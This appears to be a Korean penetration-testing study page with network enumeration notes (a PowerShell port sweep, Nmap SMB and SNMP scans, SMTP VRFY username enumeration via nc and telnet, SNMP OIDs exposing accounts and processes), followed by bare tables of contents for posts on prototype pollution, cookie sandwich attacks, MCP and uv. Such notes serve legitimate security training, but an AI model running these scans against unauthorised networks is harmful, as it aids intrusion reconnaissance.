# Scan the last octet for an open port (e.g., port 43)
1..254 | ForEach-Object {
    $ip = "192.168.50.$_"
    try {
        $tcpClient = New-Object Net.Sockets.TcpClient
        $tcpClient.Connect($ip, 43)
        if ($tcpClient.Connected) { Write-Output "TCP port 43 is open on $ip"; $tcpClient.Close() }
    } catch {}
}

SMB 열거

Server Message Block(SMB)은 Windows 환경에서 파일 공유에 흔히 쓰이는 프로토콜입니다.

SMB 포트: TCP 445
NetBIOS 포트(레거시): TCP 139 (호환성을 위해 SMB와 함께 자주 쓰임)

Nmap으로 SMB 열거:

열린 SMB 포트 스캔:

nmap -v -p 139,445 -oG smb_scan.txt 192.168.159.0/24
grep "open" smb_scan.txt

SMB를 통한 OS 탐지:

nmap -v -p 139,445 --script smb-os-discovery 192.168.159.152

사용 가능한 SMB NSE 스크립트 목록:
```
ls -1 /usr/share/nmap/scripts/smb*
```

기타 SMB 열거 도구:

NBTScan
Enum4Linux
SMBClient

Windows SMB 명령:

원격 머신의 공유 목록 조회:
```
net view \\dc01 /all
```

SMTP 열거

Simple Mail Transfer Protocol(SMTP)는 TCP 25번 포트에서 동작합니다. 이 열거를 잘 활용하면 유효한 사용자 이름을 캐낼 수 있죠.

기법:

VRFY: 서버에 이메일 주소를 검증해 달라고 요청합니다.
EXPN: 서버에 메일링 리스트 구성원을 물어봅니다(대개 비활성화돼 있죠).

nc를 이용한 수동 열거:

nc -nv 192.168.50.8 25
# Connected... Server sends banner (e.g., 220 mail ESMTP Postfix)
VRFY root
# Server responds (e.g., 252 2.0.0 root)
VRFY nonexistantuser
# Server responds (e.g., 550 5.1.1 <nonexistantuser>: Recipient address rejected...)
QUIT

스크립트 사용(예: vrfy.py)

간단한 Python 스크립트로 사용자 이름 목록에 대한 VRFY 검사를 자동화할 수 있습니다. (스크립트 코드는 원본 노트를 참고하세요.)

Telnet 사용:

Telnet으로도 인터랙티브 SMTP 세션을 열 수 있습니다.

telnet 192.168.178.8 25
# Connected... Server sends banner
VRFY root
# Server responds
QUIT

Windows SMTP 점검:

연결 테스트:

Test-NetConnection -Port 25 192.168.50.8

Telnet 클라이언트 설치 및 사용:

# Enable Telnet Client feature if not already installed
dism /online /Enable-Feature /FeatureName:TelnetClient
# Connect using Telnet
telnet 192.168.50.8 25

SNMP 열거

Simple Network Management Protocol(SNMP)은 보통 UDP 161번 포트를 씁니다. 그런데 설정이 허술하면 시스템 정보를 통째로 흘려 버릴 수 있어 눈여겨볼 만하죠.

MIB (Management Information Base):

장치의 관리 가능한 객체들을 담아 둔 계층형 데이터베이스입니다. 그 안에서 OID(Object Identifier)가 특정 정보 조각을 콕 집어 가리키죠.

열거에 유용한 대표 OID:

OID	정보
1.3.6.1.2.1.25.1.6.0	시스템 프로세스
1.3.6.1.2.1.25.4.2.1.2	실행 중인 프로그램
1.3.6.1.2.1.25.4.2.1.4	프로세스 경로
1.3.6.1.2.1.25.2.3.1.4	스토리지 단위
1.3.6.1.2.1.25.6.3.1.2	설치된 소프트웨어 이름
1.3.6.1.4.1.77.1.2.25	사용자 계정
1.3.6.1.2.1.6.13.1.3	TCP 로컬 포트

SNMP 호스트 스캔:

Nmap UDP 스캔:

sudo nmap -sU --open -p 161 192.168.50.0/24 -oG open_snmp.txt
grep "open" open_snmp.txt

SNMP 열거 도구:

Onesixtyone: 흔한 커뮤니티 스트링(예: ‘public’, ‘private’)을 확인하는 빠른 스캐너.
SNMPWalk: SNMP가 활성화된 장치의 MIB 트리를 질의하고 순회하는 도구.

Foo1

Prototype Pollution: Poisoning JavaScript's Object Chain

Overview

Technical Background

The Vulnerability

Property Assignment (setValue)

Object Merge (merge)

Object Clone (clone)

Practical Demonstration

A Vulnerable Express Server

Sending the Malicious Payload

Impact

Client-Side Chaining (conceptual)

Mitigation

Conclusion

References

개요

기술 배경

취약점

프로퍼티 대입 (setValue)

객체 병합 (merge)

객체 복제 (clone)

실전 시연

취약한 Express 서버

악성 페이로드 보내기

영향

클라이언트 측 체이닝 (개념)

대응 방안

마치며

참고 자료

Cookie Sandwich Attack: Is HttpOnly Really Safe?

Overview

Technical Background

The Vulnerability

Example Scenario

The Cookie Order Trick

Practical Demonstration

Framework-Specific Variations

Practical Exploitation

Creating a Wargame Challenge

Mitigation

Conclusion

References

개요

기술적 배경

취약점

예시 시나리오

쿠키 순서 트릭

실전 시연

프레임워크별 변형

실전 공격

워게임 문제 제작

완화 방안

마치며

참고 자료

Introducing the Model Context Protocol

Overview

Features

Host

MCP Clients

MCP Servers

Open-Source MCP Server with Cursor

Installation

Config File

Make my own MCP Server

Development

IDA-pro-mcp Customizing

References

개요

특징

Host

MCP Client

MCP Server

Cursor로 오픈 소스 MCP 서버 써 보기

설치

설정 파일

나만의 MCP 서버 만들기

개발

IDA-pro-mcp 커스터마이징

참고 자료

Understanding `pyproject.toml` vs `uv.lock`

Command-line Tools with `uvx`

Using Tools with `uvx`

`--from` vs `--with`

`pyproject.toml`과 `uv.lock` 이해하기

`uvx`로 명령줄 도구 실행

`uvx`로 도구 사용